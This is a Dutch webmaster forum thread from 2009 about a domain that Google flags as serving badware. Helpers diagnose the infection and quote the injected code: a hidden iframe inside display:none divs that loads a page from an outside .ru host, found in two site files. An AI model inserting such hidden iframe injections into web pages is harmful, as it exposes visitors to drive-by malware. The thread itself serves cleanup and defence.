Badware op domein

[Ad Hox]

Ik heb last van badware als er via Google naar een domein wordt gezocht, welke ik beheer. Ik heb me even ingelezen op o.a. http://www.stopbadware.org/home/security en ben ingelogd op het dashboard van Google, maar ik kan niet terug vinden waar de badware zou moeten zitten.

Volgens het dashboard op de index.php, maar ik zie geen 'rare' codes, zowel in het bronbestand als bij de source (rechtsmuisknop > view source).

Ik heb al het wachtwoord veranderd. Er zit een database achter de website met o.a. een registratie voor de nieuwsbrief en nieuwsberichten.

Waar kan het nog aan liggen?

Het betreft domein: decoolsingers.nl

[har0]

Als u de eigenaar van deze site bent, kunt u een verzoek indienen voor een controle van uw site met de Webmasterhulpprogramma's van Google. Raadpleeg het Helpcentrum voor webmasters voor meer informatie over het beoordelingsproces.
Advies geleverd door Google

Een deel van deze site is in de afgelopen 90 dagen 1 keer aangemerkt wegens verdachte activiteiten.

verder krijg ik best specifieke info over wat er mis is , ik denk dat je wat verder moet kijken ?

[Verwijderd]

OpenDNS blokkeert de website ook en Firefox geeft de onderstaande waarschuwing:

www.decoolsingers.nl:443 gebruikt een ongeldig beveiligingscertificaat.

Het certificaat wordt niet vertrouwd omdat het uitgeverscertificaat onbekend is.
Het certificaat is voor geen enkele sernaam geldig.
Het certificaat is verlopen op 20-10-2001 20:21

Los dus eerst met spoed het probleem met je certificaat op!

[Verwijderd]

Daarna kun je kijken hoe je de onderstaande problemen gaat aanpakken:

http://safebrowsing.clien...s://www.decoolsingers.nl/

[Verwijderd]

Verwijderd schreef op maandag 28 september 2009 @ 20:51:

Los dus eerst met spoed het probleem met je certificaat op!

Wat heeft dat met het probleem van de TS te maken?
Hij kan zich beter richten op het echte probleem en dat heeft echt niets met SSL te maken.

[Verwijderd]

Verwijderd schreef op maandag 28 september 2009 @ 21:00:
[...]

Wat heeft dat met het probleem van de TS te maken?
Hij kan zich beter richten op het echte probleem en dat heeft echt niets met SSL te maken.

Dat is in 2 tellen op te lossen, het andere probleem kost veel meer tijd.
Wellicht kan hij een backup terug zetten.

[Foamy]

Verwijderd schreef op maandag 28 september 2009 @ 21:19:
[...]
Dat is in 2 tellen op te lossen, het andere probleem kost veel meer tijd.
Wellicht kan hij een backup terug zetten.

Backup terugzetten heeft in dit soort gevallen helaas weinig zin....

Meestal word dit veroorzaakt doordat een computer waarop de FTP gegevens bekend zijn een virusinfectie te pakken heeft (Conficker/Downadup gaat lekker rond de laatste tijd). Zorg is dus om eerst dat probleem te tackelen.. Zorg dat je achterhaalt welke pc besmet is, isoleer deze en zorg dat ie schoon raakt.

Hierna heeft het ook pas nut om het FTP wachtwoord te wijzigen. Dat is dus stap 2. Hierna kun je overgaan tot het terugplaatsen van een schone versie van de website.

[Ad Hox]

Dank, ik heb de suggestie van Google gezien om het verzoek in te dienen. M.i. kan ik dat het beste doen als het probleem daadwerkelijk is opgelost.

Op de site wordt, voor zover ik weet, geen gebruik gemaakt van SSL/certificaten. Wel is er een beveiligde 'dir' aanwezig. FTP gegevens zijn inmiddels gewijzigd. Ik zal de gegevens van de beveiligde dir ook wel even aanpassen.

Volgens mij ligt het niet aan de inhoud van de website. Er staan alleen .php bestanden op en een paar afbeeldingen. Ik neem aan dat het niet in je DB kan zitten?

[Verwijderd]

/eng/index2.php

HTML:

<div style="display:none"><iframe width=136 height=645 src="http://deathtesting.ru:8080/index.php" ></iframe></div><div style="display:none"></div><div style="display:none"></div><div style="display:none"></div><div style="display:none"></div><div style="display:none">...etc

/eng/index.html

HTML:

<div style="display:none"><iframe width=136 height=645 src="http://deathtesting.ru:8080/index.php" ></iframe></div><div style="display:none"></div><div style="display:none"></div><div style="display:none">...etc

Dat is het wel ongeveer...
Even uitgezocht met een wget -r --mirror van je site, en vervolgens een recursieve grep op '<iframe'

[Verwijderd]

Ik zou alle bestanden doorzoeken op een link naar ip-adressen en domeinen in rusland.
Kennelijk staat daar de malware die wordt geupload via jou website, mogelijk via een javascript.

[ Voor 10% gewijzigd door Verwijderd op 28-09-2009 22:35 ]